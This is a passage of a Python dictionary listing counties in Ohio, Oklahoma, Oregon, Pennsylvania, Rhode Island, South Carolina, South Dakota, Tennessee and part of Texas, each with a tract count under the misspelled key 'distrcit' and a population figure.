'Miami': {'distrcit': 21, 'population': 102506},\n 'Monroe': {'distrcit': 4, 'population': 14642},\n 'Montgomery': {'distrcit': 153, 'population': 535153},\n 'Morgan': {'distrcit': 4, 'population': 15054},\n 'Morrow': {'distrcit': 6, 'population': 34827},\n 'Muskingum': {'distrcit': 19, 'population': 86074},\n 'Noble': {'distrcit': 3, 'population': 14645},\n 'Ottawa': {'distrcit': 13, 'population': 41428},\n 'Paulding': {'distrcit': 5, 'population': 19614},\n 'Perry': {'distrcit': 6, 'population': 36058},\n 'Pickaway': {'distrcit': 13, 'population': 55698},\n 'Pike': {'distrcit': 6, 'population': 28709},\n 'Portage': {'distrcit': 35, 'population': 161419},\n 'Preble': {'distrcit': 12, 'population': 42270},\n 'Putnam': {'distrcit': 7, 'population': 34499},\n 'Richland': {'distrcit': 30, 'population': 124475},\n 'Ross': {'distrcit': 17, 'population': 78064},\n 'Sandusky': {'distrcit': 15, 'population': 60944},\n 'Scioto': {'distrcit': 20, 'population': 79499},\n 'Seneca': {'distrcit': 14, 'population': 56745},\n 'Shelby': {'distrcit': 10, 'population': 49423},\n 'Stark': {'distrcit': 86, 'population': 375586},\n 'Summit': {'distrcit': 135, 'population': 541781},\n 'Trumbull': {'distrcit': 55, 'population': 210312},\n 'Tuscarawas': {'distrcit': 21, 'population': 92582},\n 'Union': {'distrcit': 10, 'population': 52300},\n 'Van Wert': {'distrcit': 9, 'population': 28744},\n 'Vinton': {'distrcit': 3, 'population': 13435},\n 'Warren': {'distrcit': 33, 'population': 212693},\n 'Washington': {'distrcit': 16, 'population': 61778},\n 'Wayne': {'distrcit': 32, 'population': 114520},\n 'Williams': {'distrcit': 9, 'population': 37642},\n 'Wood': {'distrcit': 28, 'population': 125488},\n 'Wyandot': {'distrcit': 6, 'population': 22615}},\n 'OK': {'Adair': {'distrcit': 5, 'population': 22683},\n 'Alfalfa': {'distrcit': 3, 'population': 5642},\n 'Atoka': {'distrcit': 4, 'population': 14182},\n 'Beaver': {'distrcit': 3, 'population': 5636},\n 'Beckham': {'distrcit': 4, 'population': 22119},\n 'Blaine': {'distrcit': 5, 'population': 11943},\n 'Bryan': {'distrcit': 11, 'population': 42416},\n 'Caddo': {'distrcit': 8, 'population': 29600},\n 'Canadian': {'distrcit': 29, 'population': 115541},\n 'Carter': {'distrcit': 11, 'population': 47557},\n 'Cherokee': {'distrcit': 9, 'population': 46987},\n 'Choctaw': {'distrcit': 5, 'population': 15205},\n 'Cimarron': {'distrcit': 2, 'population': 2475},\n 'Cleveland': {'distrcit': 62, 'population': 255755},\n 'Coal': {'distrcit': 2, 'population': 5925},\n 'Comanche': {'distrcit': 32, 'population': 124098},\n 'Cotton': {'distrcit': 2, 'population': 6193},\n 'Craig': {'distrcit': 5, 'population': 15029},\n 'Creek': {'distrcit': 21, 'population': 69967},\n 'Custer': {'distrcit': 5, 'population': 27469},\n 'Delaware': {'distrcit': 9, 'population': 41487},\n 'Dewey': {'distrcit': 3, 'population': 4810},\n 'Ellis': {'distrcit': 2, 'population': 4151},\n 'Garfield': {'distrcit': 12, 'population': 60580},\n 'Garvin': {'distrcit': 9, 'population': 27576},\n 'Grady': {'distrcit': 10, 'population': 52431},\n 'Grant': {'distrcit': 2, 'population': 4527},\n 'Greer': {'distrcit': 2, 'population': 6239},\n 'Harmon': {'distrcit': 1, 'population': 2922},\n 'Harper': {'distrcit': 2, 'population': 3685},\n 'Haskell': {'distrcit': 4, 'population': 12769},\n 'Hughes': {'distrcit': 5, 'population': 14003},\n 'Jackson': {'distrcit': 8, 'population': 26446},\n 'Jefferson': {'distrcit': 3, 'population': 6472},\n 'Johnston': {'distrcit': 3, 'population': 10957},\n 'Kay': {'distrcit': 11, 'population': 46562},\n 'Kingfisher': {'distrcit': 4, 'population': 15034},\n 'Kiowa': {'distrcit': 3, 'population': 9446},\n 'Latimer': {'distrcit': 3, 'population': 11154},\n 'Le Flore': {'distrcit': 12, 'population': 50384},\n 'Lincoln': {'distrcit': 7, 'population': 34273},\n 'Logan': {'distrcit': 8, 'population': 41848},\n 'Love': {'distrcit': 3, 'population': 9423},\n 'Major': {'distrcit': 3, 'population': 7527},\n 'Marshall': {'distrcit': 4, 'population': 15840},\n 'Mayes': {'distrcit': 9, 'population': 41259},\n 'McClain': {'distrcit': 6, 'population': 34506},\n 'McCurtain': {'distrcit': 8, 'population': 33151},\n 'McIntosh': {'distrcit': 6, 'population': 20252},\n 'Murray': {'distrcit': 3, 'population': 13488},\n 'Muskogee': {'distrcit': 16, 'population': 70990},\n 'Noble': {'distrcit': 4, 'population': 11561},\n 'Nowata': {'distrcit': 4, 'population': 10536},\n 'Okfuskee': {'distrcit': 4, 'population': 12191},\n 'Oklahoma': {'distrcit': 241, 'population': 718633},\n 'Okmulgee': {'distrcit': 10, 'population': 40069},\n 'Osage': {'distrcit': 11, 'population': 47472},\n 'Ottawa': {'distrcit': 9, 'population': 31848},\n 'Pawnee': {'distrcit': 5, 'population': 16577},\n 'Payne': {'distrcit': 17, 'population': 77350},\n 'Pittsburg': {'distrcit': 13, 'population': 45837},\n 'Pontotoc': {'distrcit': 10, 'population': 37492},\n 'Pottawatomie': {'distrcit': 16, 'population': 69442},\n 'Pushmataha': {'distrcit': 3, 'population': 11572},\n 'Roger Mills': {'distrcit': 1, 'population': 3647},\n 'Rogers': {'distrcit': 28, 'population': 86905},\n 'Seminole': {'distrcit': 9, 'population': 25482},\n 'Sequoyah': {'distrcit': 9, 'population': 42391},\n 'Stephens': {'distrcit': 11, 'population': 45048},\n 'Texas': {'distrcit': 5, 'population': 20640},\n 'Tillman': {'distrcit': 5, 'population': 7992},\n 'Tulsa': {'distrcit': 175, 'population': 603403},\n 'Wagoner': {'distrcit': 22, 'population': 73085},\n 'Washington': {'distrcit': 13, 'population': 50976},\n 'Washita': {'distrcit': 4, 'population': 11629},\n 'Woods': {'distrcit': 3, 'population': 8878},\n 'Woodward': {'distrcit': 5, 'population': 20081}},\n 'OR': {'Baker': {'distrcit': 6, 'population': 16134},\n 'Benton': {'distrcit': 18, 'population': 85579},\n 'Clackamas': {'distrcit': 80, 'population': 375992},\n 'Clatsop': {'distrcit': 12, 'population': 37039},\n 'Columbia': {'distrcit': 10, 'population': 49351},\n 'Coos': {'distrcit': 13, 'population': 63043},\n 'Crook': {'distrcit': 4, 'population': 20978},\n 'Curry': {'distrcit': 6, 'population': 22364},\n 'Deschutes': {'distrcit': 24, 'population': 157733},\n 'Douglas': {'distrcit': 22, 'population': 107667},\n 'Gilliam': {'distrcit': 1, 'population': 1871},\n 'Grant': {'distrcit': 2, 'population': 7445},\n 'Harney': {'distrcit': 2, 'population': 7422},\n 'Hood River': {'distrcit': 4, 'population': 22346},\n 'Jackson': {'distrcit': 41, 'population': 203206},\n 'Jefferson': {'distrcit': 6, 'population': 21720},\n 'Josephine': {'distrcit': 16, 'population': 82713},\n 'Klamath': {'distrcit': 20, 'population': 66380},\n 'Lake': {'distrcit': 2, 'population': 7895},\n 'Lane': {'distrcit': 86, 'population': 351715},\n 'Lincoln': {'distrcit': 18, 'population': 46034},\n 'Linn': {'distrcit': 21, 'population': 116672},\n 'Malheur': {'distrcit': 8, 'population': 31313},\n 'Marion': {'distrcit': 58, 'population': 315335},\n 'Morrow': {'distrcit': 2, 'population': 11173},\n 'Multnomah': {'distrcit': 171, 'population': 735334},\n 'Polk': {'distrcit': 12, 'population': 75403},\n 'Sherman': {'distrcit': 1, 'population': 1765},\n 'Tillamook': {'distrcit': 8, 'population': 25250},\n 'Umatilla': {'distrcit': 15, 'population': 75889},\n 'Union': {'distrcit': 8, 'population': 25748},\n 'Wallowa': {'distrcit': 3, 'population': 7008},\n 'Wasco': {'distrcit': 8, 'population': 25213},\n 'Washington': {'distrcit': 104, 'population': 529710},\n 'Wheeler': {'distrcit': 1, 'population': 1441},\n 'Yamhill': {'distrcit': 17, 'population': 99193}},\n 'PA': {'Adams': {'distrcit': 23, 'population': 101407},\n 'Allegheny': {'distrcit': 402, 'population': 1223348},\n 'Armstrong': {'distrcit': 19, 'population': 68941},\n 'Beaver': {'distrcit': 51, 'population': 170539},\n 'Bedford': {'distrcit': 11, 'population': 49762},\n 'Berks': {'distrcit': 90, 'population': 411442},\n 'Blair': {'distrcit': 34, 'population': 127089},\n 'Bradford': {'distrcit': 14, 'population': 62622},\n 'Bucks': {'distrcit': 143, 'population': 625249},\n 'Butler': {'distrcit': 44, 'population': 183862},\n 'Cambria': {'distrcit': 42, 'population': 143679},\n 'Cameron': {'distrcit': 2, 'population': 5085},\n 'Carbon': {'distrcit': 12, 'population': 65249},\n 'Centre': {'distrcit': 31, 'population': 153990},\n 'Chester': {'distrcit': 116, 'population': 498886},\n 'Clarion': {'distrcit': 10, 'population': 39988},\n 'Clearfield': {'distrcit': 20, 'population': 81642},\n 'Clinton': {'distrcit': 9, 'population': 39238},\n 'Columbia': {'distrcit': 15, 'population': 67295},\n 'Crawford': {'distrcit': 23, 'population': 88765},\n 'Cumberland': {'distrcit': 49, 'population': 235406},\n 'Dauphin': {'distrcit': 65, 'population': 268100},\n 'Delaware': {'distrcit': 144, 'population': 558979},\n 'Elk': {'distrcit': 9, 'population': 31946},\n 'Erie': {'distrcit': 72, 'population': 280566},\n 'Fayette': {'distrcit': 36, 'population': 136606},\n 'Forest': {'distrcit': 3, 'population': 7716},\n 'Franklin': {'distrcit': 27, 'population': 149618},\n 'Fulton': {'distrcit': 3, 'population': 14845},\n 'Greene': {'distrcit': 9, 'population': 38686},\n 'Huntingdon': {'distrcit': 12, 'population': 45913},\n 'Indiana': {'distrcit': 23, 'population': 88880},\n 'Jefferson': {'distrcit': 13, 'population': 45200},\n 'Juniata': {'distrcit': 5, 'population': 24636},\n 'Lackawanna': {'distrcit': 59, 'population': 214437},\n 'Lancaster': {'distrcit': 98, 'population': 519445},\n 'Lawrence': {'distrcit': 28, 'population': 91108},\n 'Lebanon': {'distrcit': 31, 'population': 133568},\n 'Lehigh': {'distrcit': 76, 'population': 349497},\n 'Luzerne': {'distrcit': 104, 'population': 320918},\n 'Lycoming': {'distrcit': 29, 'population': 116111},\n 'McKean': {'distrcit': 12, 'population': 43450},\n 'Mercer': {'distrcit': 30, 'population': 116638},\n 'Mifflin': {'distrcit': 12, 'population': 46682},\n 'Monroe': {'distrcit': 33, 'population': 169842},\n 'Montgomery': {'distrcit': 211, 'population': 799874},\n 'Montour': {'distrcit': 4, 'population': 18267},\n 'Northampton': {'distrcit': 68, 'population': 297735},\n 'Northumberland': {'distrcit': 24, 'population': 94528},\n 'Perry': {'distrcit': 10, 'population': 45969},\n 'Philadelphia': {'distrcit': 384, 'population': 1526006},\n 'Pike': {'distrcit': 18, 'population': 57369},\n 'Potter': {'distrcit': 5, 'population': 17457},\n 'Schuylkill': {'distrcit': 40, 'population': 148289},\n 'Snyder': {'distrcit': 8, 'population': 39702},\n 'Somerset': {'distrcit': 21, 'population': 77742},\n 'Sullivan': {'distrcit': 2, 'population': 6428},\n 'Susquehanna': {'distrcit': 11, 'population': 43356},\n 'Tioga': {'distrcit': 10, 'population': 41981},\n 'Union': {'distrcit': 10, 'population': 44947},\n 'Venango': {'distrcit': 16, 'population': 54984},\n 'Warren': {'distrcit': 13, 'population': 41815},\n 'Washington': {'distrcit': 59, 'population': 207820},\n 'Wayne': {'distrcit': 14, 'population': 52822},\n 'Westmoreland': {'distrcit': 100, 'population': 365169},\n 'Wyoming': {'distrcit': 7, 'population': 28276},\n 'York': {'distrcit': 90, 'population': 434972}},\n 'RI': {'Bristol': {'distrcit': 11, 'population': 49875},\n 'Kent': {'distrcit': 39, 'population': 166158},\n 'Newport': {'distrcit': 22, 'population': 82888},\n 'Providence': {'distrcit': 141, 'population': 626667},\n 'Washington': {'distrcit': 29, 'population': 126979}},\n 'SC': {'Abbeville': {'distrcit': 6, 'population': 25417},\n 'Aiken': {'distrcit': 33, 'population': 160099},\n 'Allendale': {'distrcit': 3, 'population': 10419},\n 'Anderson': {'distrcit': 39, 'population': 187126},\n 'Bamberg': {'distrcit': 4, 'population': 15987},\n 'Barnwell': {'distrcit': 6, 'population': 22621},\n 'Beaufort': {'distrcit': 41, 'population': 162233},\n 'Berkeley': {'distrcit': 45, 'population': 177843},\n 'Calhoun': {'distrcit': 3, 'population': 15175},\n 'Charleston': {'distrcit': 86, 'population': 350209},\n 'Cherokee': {'distrcit': 13, 'population': 55342},\n 'Chester': {'distrcit': 11, 'population': 33140},\n 'Chesterfield': {'distrcit': 10, 'population': 46734},\n 'Clarendon': {'distrcit': 12, 'population': 34971},\n 'Colleton': {'distrcit': 10, 'population': 38892},\n 'Darlington': {'distrcit': 16, 'population': 68681},\n 'Dillon': {'distrcit': 6, 'population': 32062},\n 'Dorchester': {'distrcit': 25, 'population': 136555},\n 'Edgefield': {'distrcit': 6, 'population': 26985},\n 'Fairfield': {'distrcit': 5, 'population': 23956},\n 'Florence': {'distrcit': 33, 'population': 136885},\n 'Georgetown': {'distrcit': 15, 'population': 60158},\n 'Greenville': {'distrcit': 111, 'population': 451225},\n 'Greenwood': {'distrcit': 14, 'population': 69661},\n 'Hampton': {'distrcit': 5, 'population': 21090},\n 'Horry': {'distrcit': 72, 'population': 269291},\n 'Jasper': {'distrcit': 5, 'population': 24777},\n 'Kershaw': {'distrcit': 15, 'population': 61697},\n 'Lancaster': {'distrcit': 14, 'population': 76652},\n 'Laurens': {'distrcit': 17, 'population': 66537},\n 'Lee': {'distrcit': 7, 'population': 19220},\n 'Lexington': {'distrcit': 74, 'population': 262391},\n 'Marion': {'distrcit': 8, 'population': 33062},\n 'Marlboro': {'distrcit': 7, 'population': 28933},\n 'McCormick': {'distrcit': 3, 'population': 10233},\n 'Newberry': {'distrcit': 8, 'population': 37508},\n 'Oconee': {'distrcit': 15, 'population': 74273},\n 'Orangeburg': {'distrcit': 20, 'population': 92501},\n 'Pickens': {'distrcit': 28, 'population': 119224},\n 'Richland': {'distrcit': 89, 'population': 384504},\n 'Saluda': {'distrcit': 5, 'population': 19875},\n 'Spartanburg': {'distrcit': 69, 'population': 284307},\n 'Sumter': {'distrcit': 23, 'population': 107456},\n 'Union': {'distrcit': 9, 'population': 28961},\n 'Williamsburg': {'distrcit': 11, 'population': 34423},\n 'York': {'distrcit': 46, 'population': 226073}},\n 'SD': {'Aurora': {'distrcit': 1, 'population': 2710},\n 'Beadle': {'distrcit': 6, 'population': 17398},\n 'Bennett': {'distrcit': 2, 'population': 3431},\n 'Bon Homme': {'distrcit': 2, 'population': 7070},\n 'Brookings': {'distrcit': 6, 'population': 31965},\n 'Brown': {'distrcit': 8, 'population': 36531},\n 'Brule': {'distrcit': 2, 'population': 5255},\n 'Buffalo': {'distrcit': 1, 'population': 1912},\n 'Butte': {'distrcit': 2, 'population': 10110},\n 'Campbell': {'distrcit': 1, 'population': 1466},\n 'Charles Mix': {'distrcit': 3, 'population': 9129},\n 'Clark': {'distrcit': 1, 'population': 3691},\n 'Clay': {'distrcit': 3, 'population': 13864},\n 'Codington': {'distrcit': 7, 'population': 27227},\n 'Corson': {'distrcit': 2, 'population': 4050},\n 'Custer': {'distrcit': 2, 'population': 8216},\n 'Davison': {'distrcit': 4, 'population': 19504},\n 'Day': {'distrcit': 3, 'population': 5710},\n 'Deuel': {'distrcit': 2, 'population': 4364},\n 'Dewey': {'distrcit': 2, 'population': 5301},\n 'Douglas': {'distrcit': 1, 'population': 3002},\n 'Edmunds': {'distrcit': 2, 'population': 4071},\n 'Fall River': {'distrcit': 2, 'population': 7094},\n 'Faulk': {'distrcit': 1, 'population': 2364},\n 'Grant': {'distrcit': 2, 'population': 7356},\n 'Gregory': {'distrcit': 2, 'population': 4271},\n 'Haakon': {'distrcit': 1, 'population': 1937},\n 'Hamlin': {'distrcit': 2, 'population': 5903},\n 'Hand': {'distrcit': 2, 'population': 3431},\n 'Hanson': {'distrcit': 1, 'population': 3331},\n 'Harding': {'distrcit': 1, 'population': 1255},\n 'Hughes': {'distrcit': 4, 'population': 17022},\n 'Hutchinson': {'distrcit': 3, 'population': 7343},\n 'Hyde': {'distrcit': 1, 'population': 1420},\n 'Jackson': {'distrcit': 2, 'population': 3031},\n 'Jerauld': {'distrcit': 1, 'population': 2071},\n 'Jones': {'distrcit': 1, 'population': 1006},\n 'Kingsbury': {'distrcit': 2, 'population': 5148},\n 'Lake': {'distrcit': 3, 'population': 11200},\n 'Lawrence': {'distrcit': 5, 'population': 24097},\n 'Lincoln': {'distrcit': 11, 'population': 44828},\n 'Lyman': {'distrcit': 2, 'population': 3755},\n 'Marshall': {'distrcit': 1, 'population': 4656},\n 'McCook': {'distrcit': 2, 'population': 5618},\n 'McPherson': {'distrcit': 1, 'population': 2459},\n 'Meade': {'distrcit': 5, 'population': 25434},\n 'Mellette': {'distrcit': 1, 'population': 2048},\n 'Miner': {'distrcit': 1, 'population': 2389},\n 'Minnehaha': {'distrcit': 42, 'population': 169468},\n 'Moody': {'distrcit': 2, 'population': 6486},\n 'Pennington': {'distrcit': 23, 'population': 100948},\n 'Perkins': {'distrcit': 1, 'population': 2982},\n 'Potter': {'distrcit': 1, 'population': 2329},\n 'Roberts': {'distrcit': 4, 'population': 10149},\n 'Sanborn': {'distrcit': 1, 'population': 2355},\n 'Shannon': {'distrcit': 3, 'population': 13586},\n 'Spink': {'distrcit': 3, 'population': 6415},\n 'Stanley': {'distrcit': 1, 'population': 2966},\n 'Sully': {'distrcit': 1, 'population': 1373},\n 'Todd': {'distrcit': 2, 'population': 9612},\n 'Tripp': {'distrcit': 2, 'population': 5644},\n 'Turner': {'distrcit': 2, 'population': 8347},\n 'Union': {'distrcit': 3, 'population': 14399},\n 'Walworth': {'distrcit': 2, 'population': 5438},\n 'Yankton': {'distrcit': 5, 'population': 22438},\n 'Ziebach': {'distrcit': 1, 'population': 2801}},\n 'TN': {'Anderson': {'distrcit': 18, 'population': 75129},\n 'Bedford': {'distrcit': 9, 'population': 45058},\n 'Benton': {'distrcit': 5, 'population': 16489},\n 'Bledsoe': {'distrcit': 3, 'population': 12876},\n 'Blount': {'distrcit': 28, 'population': 123010},\n 'Bradley': {'distrcit': 19, 'population': 98963},\n 'Campbell': {'distrcit': 11, 'population': 40716},\n 'Cannon': {'distrcit': 3, 'population': 13801},\n 'Carroll': {'distrcit': 8, 'population': 28522},\n 'Carter': {'distrcit': 17, 'population': 57424},\n 'Cheatham': {'distrcit': 9, 'population': 39105},\n 'Chester': {'distrcit': 3, 'population': 17131},\n 'Claiborne': {'distrcit': 9, 'population': 32213},\n 'Clay': {'distrcit': 2, 'population': 7861},\n 'Cocke': {'distrcit': 9, 'population': 35662},\n 'Coffee': {'distrcit': 12, 'population': 52796},\n 'Crockett': {'distrcit': 5, 'population': 14586},\n 'Cumberland': {'distrcit': 14, 'population': 56053},\n 'Davidson': {'distrcit': 161, 'population': 626681},\n 'DeKalb': {'distrcit': 4, 'population': 18723},\n 'Decatur': {'distrcit': 4, 'population': 11757},\n 'Dickson': {'distrcit': 10, 'population': 49666},\n 'Dyer': {'distrcit': 8, 'population': 38335},\n 'Fayette': {'distrcit': 11, 'population': 38413},\n 'Fentress': {'distrcit': 4, 'population': 17959},\n 'Franklin': {'distrcit': 9, 'population': 41052},\n 'Gibson': {'distrcit': 14, 'population': 49683},\n 'Giles': {'distrcit': 8, 'population': 29485},\n 'Grainger': {'distrcit': 5, 'population': 22657},\n 'Greene': {'distrcit': 15, 'population': 68831},\n 'Grundy': {'distrcit': 4, 'population': 13703},\n 'Hamblen': {'distrcit': 12, 'population': 62544},\n 'Hamilton': {'distrcit': 82, 'population': 336463},\n 'Hancock': {'distrcit': 2, 'population': 6819},\n 'Hardeman': {'distrcit': 6, 'population': 27253},\n 'Hardin': {'distrcit': 6, 'population': 26026},\n 'Hawkins': {'distrcit': 13, 'population': 56833},\n 'Haywood': {'distrcit': 6, 'population': 18787},\n 'Henderson': {'distrcit': 6, 'population': 27769},\n 'Henry': {'distrcit': 9, 'population': 32330},\n 'Hickman': {'distrcit': 6, 'population': 24690},\n 'Houston': {'distrcit': 3, 'population': 8426},\n 'Humphreys': {'distrcit': 5, 'population': 18538},\n 'Jackson': {'distrcit': 4, 'population': 11638},\n 'Jefferson': {'distrcit': 9, 'population': 51407},\n 'Johnson': {'distrcit': 5, 'population': 18244},\n 'Knox': {'distrcit': 112, 'population': 432226},\n 'Lake': {'distrcit': 2, 'population': 7832},\n 'Lauderdale': {'distrcit': 9, 'population': 27815},\n 'Lawrence': {'distrcit': 11, 'population': 41869},\n 'Lewis': {'distrcit': 2, 'population': 12161},\n 'Lincoln': {'distrcit': 9, 'population': 33361},\n 'Loudon': {'distrcit': 10, 'population': 48556},\n 'Macon': {'distrcit': 4, 'population': 22248},\n 'Madison': {'distrcit': 27, 'population': 98294},\n 'Marion': {'distrcit': 6, 'population': 28237},\n 'Marshall': {'distrcit': 6, 'population': 30617},\n 'Maury': {'distrcit': 17, 'population': 80956},\n 'McMinn': {'distrcit': 10, 'population': 52266},\n 'McNairy': {'distrcit': 7, 'population': 26075},\n 'Meigs': {'distrcit': 3, 'population': 11753},\n 'Monroe': {'distrcit': 7, 'population': 44519},\n 'Montgomery': {'distrcit': 39, 'population': 172331},\n 'Moore': {'distrcit': 2, 'population': 6362},\n 'Morgan': {'distrcit': 5, 'population': 21987},\n 'Obion': {'distrcit': 10, 'population': 31807},\n 'Overton': {'distrcit': 7, 'population': 22083},\n 'Perry': {'distrcit': 2, 'population': 7915},\n 'Pickett': {'distrcit': 1, 'population': 5077},\n 'Polk': {'distrcit': 5, 'population': 16825},\n 'Putnam': {'distrcit': 15, 'population': 72321},\n 'Rhea': {'distrcit': 6, 'population': 31809},\n 'Roane': {'distrcit': 11, 'population': 54181},\n 'Robertson': {'distrcit': 14, 'population': 66283},\n 'Rutherford': {'distrcit': 49, 'population': 262604},\n 'Scott': {'distrcit': 5, 'population': 22228},\n 'Sequatchie': {'distrcit': 3, 'population': 14112},\n 'Sevier': {'distrcit': 18, 'population': 89889},\n 'Shelby': {'distrcit': 221, 'population': 927644},\n 'Smith': {'distrcit': 5, 'population': 19166},\n 'Stewart': {'distrcit': 5, 'population': 13324},\n 'Sullivan': {'distrcit': 39, 'population': 156823},\n 'Sumner': {'distrcit': 42, 'population': 160645},\n 'Tipton': {'distrcit': 13, 'population': 61081},\n 'Trousdale': {'distrcit': 2, 'population': 7870},\n 'Unicoi': {'distrcit': 4, 'population': 18313},\n 'Union': {'distrcit': 4, 'population': 19109},\n 'Van Buren': {'distrcit': 2, 'population': 5548},\n 'Warren': {'distrcit': 9, 'population': 39839},\n 'Washington': {'distrcit': 23, 'population': 122979},\n 'Wayne': {'distrcit': 4, 'population': 17021},\n 'Weakley': {'distrcit': 11, 'population': 35021},\n 'White': {'distrcit': 6, 'population': 25841},\n 'Williamson': {'distrcit': 37, 'population': 183182},\n 'Wilson': {'distrcit': 21, 'population': 113993}},\n 'TX': {'Anderson': {'distrcit': 11, 'population': 58458},\n 'Andrews': {'distrcit': 4, 'population': 14786},\n 'Angelina': {'distrcit': 17, 'population': 86771},\n 'Aransas': {'distrcit': 5, 'population': 23158},\n 'Archer': {'distrcit': 3, 'population': 9054},\n 'Armstrong': {'distrcit': 1, 'population': 1901},\n 'Atascosa': {'distrcit': 8, 'population': 44911},\n 'Austin': {'distrcit': 6, 'population': 28417},\n 'Bailey': {'distrcit': 1, 'population': 7165},\n 'Bandera': {'distrcit': 5, 'population': 20485},\n 'Bastrop': {'distrcit': 10, 'population': 74171},\n 'Baylor': {'distrcit': 1, 'population': 3726},\n 'Bee': {'distrcit': 7, 'population': 31861},\n 'Bell': {'distrcit': 65, 'population': 310235},\n 'Bexar': {'distrcit': 366, 'population': 1714773},\n 'Blanco': {'distrcit': 2, 'population': 10497},\n 'Borden': {'distrcit': 1, 'population': 641},\n 'Bosque': {'distrcit': 7, 'population': 18212},\n 'Bowie': {'distrcit': 18, 'population': 92565},\n 'Brazoria': {'distrcit': 51, 'population': 313166},\n 'Brazos': {'distrcit': 42, 'population': 194851},\n 'Brewster': {'distrcit': 3, 'population': 9232},\n 'Briscoe': {'distrcit': 1, 'population': 1637},\n 'Brooks': {'distrcit': 2, 'population': 7223},\n 'Brown': {'distrcit': 12, 'population': 38106},\n 'Burleson': {'distrcit': 5, 'population': 17187},\n 'Burnet': {'distrcit': 8, 'population': 42750},\n 'Caldwell': {'distrcit': 8, 'population': 38066},\n 'Calhoun': {'distrcit': 6, 'population': 21381},\n 'Callahan': {'distrcit': 3, 'population': 13544},\n 'Cameron': {'distrcit': 86, 'population': 406220},\n 'Camp': {'distrcit': 3, 'population': 12401},\n 'Carson': {'distrcit': 2, 'population': 6182},\n 'Cass': {'distrcit': 7, 'population': 30464},\n 'Castro': {'distrcit': 3, 'population': 8062},\n 'Chambers': {'distrcit': 6, 'population': 35096},\n 'Cherokee': {'distrcit': 12, 'population': 50845},\n 'Childress': {'distrcit': 2, 'population': 7041},\n 'Clay': {'distrcit': 3, 'population': 10752},\n 'Cochran': {'distrcit': 1, 'population': 3127},\n 'Coke': {'distrcit': 2, 'population': 3320},\n 'Coleman': {'distrcit': 3, 'population': 8895},\n 'Collin': {'distrcit': 152, 'population': 782341},\n 'Collingsworth': {'distrcit': 1, 'population': 3057},\n 'Colorado': {'distrcit': 5, 'population': 20874},\n 'Comal': {'distrcit': 24, 'population': 108472},\n 'Comanche': {'distrcit': 4, 'population': 13974},\n 'Concho': {'distrcit': 1, 'population': 4087},\n 'Cooke': {'distrcit': 8, 'population': 38437},\n 'Coryell': {'distrcit': 19, 'population': 75388},\n 'Cottle': {'distrcit': 1, 'population': 1505},\n 'Crane': {'distrcit': 1, 'population': 4375},\n 'Crockett': {'distrcit': 1, 'population': 3719},\n 'Crosby': {'distrcit': 3, 'population': 6059},\n 'Culberson': {'distrcit': 1, 'population': 2398},\n 'Dallam': {'distrcit': 2, 'population': 6703},\n 'Dallas': {'distrcit': 529, 'population': 2368139},\n 'Dawson': {'distrcit': 4, 'population': 13833},\n 'DeWitt': {'distrcit': 5, 'population': 20097},\n 'Deaf Smith': {'distrcit': 4, 'population': 19372},\n 'Delta': {'distrcit': 2, 'population': 5231},\n 'Denton': {'distrcit': 137, 'population': 662614},\n 'Dickens': {'distrcit': 1, 'population': 2444},\n 'Dimmit': {'distrcit': 2, 'population': 9996},\n 'Donley': {'distrcit': 2, 'population': 3677},\n 'Duval': {'distrcit': 3, 'population': 11782},\n 'Eastland': {'distrcit': 5, 'population': 18583},\n 'Ector': {'distrcit': 28, 'population': 137130},\n 'Edwards': {'distrcit': 1, 'population': 2002},\n 'El Paso': {'distrcit': 161, 'population': 800647},\n 'Ellis': {'distrcit': 31, 'population': 149610},\n 'Erath': {'distrcit': 8, 'population': 37890},\n 'Falls': {'distrcit': 6, 'population': 17866},\n 'Fannin': {'distrcit': 9, 'population': 33915},\n 'Fayette': {'distrcit': 7, 'population': 24554},\n 'Fisher': {'distrcit': 2, 'population': 3974},\n 'Floyd': {'distrcit': 2, 'population': 6446},\n 'Foard': {'distrcit': 1, 'population': 1336},\n 'Fort Bend': {'distrcit': 76, 'population': 585375},\n 'Franklin': {'distrcit': 3, 'population': 10605},\n 'Freestone': {'distrcit': 7, 'population': 19816},\n 'Frio': {'distrcit': 3, 'population': 17217},\n 'Gaines': {'distrcit': 3, 'population': 17526},\n 'Galveston': {'distrcit': 67, 'population': 291309},\n 'Garza': {'distrcit': 1, 'population': 6461},\n 'Gillespie': {'distrcit': 5, 'population': 24837},\n 'Glasscock': {'distrcit': 1, 'population': 1226},\n 'Goliad': {'distrcit': 2, 'population': 7210},\n 'Gonzales': {'distrcit': 6, 'population': 19807},\n 'Gray': {'distrcit': 7, 'population': 22535},\n 'Grayson': {'distrcit': 26, 'population': 120877},\n 'Gregg': {'distrcit': 25, 'population': 121730},\n 'Grimes': {'distrcit': 6, 'population': 26604},\n 'Guadalupe': {'distrcit': 29, 'population': 131533},\n 'Hale': {'distrcit': 9, 'population': 36273},\n 'Hall': {'distrcit': 1, 'population': 3353},\n 'Hamilton': {'distrcit': 3, 'population': 8517},\n 'Hansford': {'distrcit': 2, 'population': 5613},\n 'Hardeman': {'distrcit': 1, 'population': 4139},\n 'Hardin': {'distrcit': 11, 'population': 54635},\n 'Harris': {'distrcit': 786, 'population': 4092459},\n 'Harrison': {'distrcit': 14, 'population': 65631},\n 'Hartley': {'distrcit': 1, 'population': 6062},\n 'Haskell': {'distrcit': 2, 'population': 5899},\n 'Hays': {'distrcit': 25, 'population': 157107},\n 'Hemphill': {'distrcit': 1, 'population': 3807},\n 'Henderson': {'distrcit': 17, 'population': 78532},\n 'Hidalgo': {'distrcit': 113, 'population': 774769},\n 'Hill': {'distrcit': 11, 'population': 35089},\n 'Hockley': {'distrcit': 7, 'population': 22935},\n 'Hood': {'distrcit': 10, 'population': 51182},\n 'Hopkins': {'distrcit': 9, 'population': 35161},\n 'Houston': {'distrcit': 7, 'population': 23732},\n 'Howard': {'distrcit': 10, 'population': 35012},\n 'Hudspeth': {'distrcit': 1, 'population': 3476},\n 'Hunt': {'distrcit': 19, 'population': 86129},\n 'Hutchinson': {'distrcit': 7, 'population': 22150},\n 'Irion': {'distrcit': 1, 'population': 1599},\n 'Jack': {'distrcit': 3, 'population': 9044},\n 'Jackson': {'distrcit': 3, 'population': 14075},\n 'Jasper': {'distrcit': 8, 'population': 35710},\n 'Jeff Davis': {'distrcit': 1, 'population': 2342},\n 'Jefferson': {'distrcit': 72, 'population': 252273},\n 'Jim Hogg': {'distrcit': 2, 'population': 5300},\n 'Jim Wells': {'distrcit': 7, 'population': 40838},\n 'Johnson': {'distrcit': 28, 'population': 150934},\n 'Jones': {'distrcit': 6, 'population': 20202},\n 'Karnes': 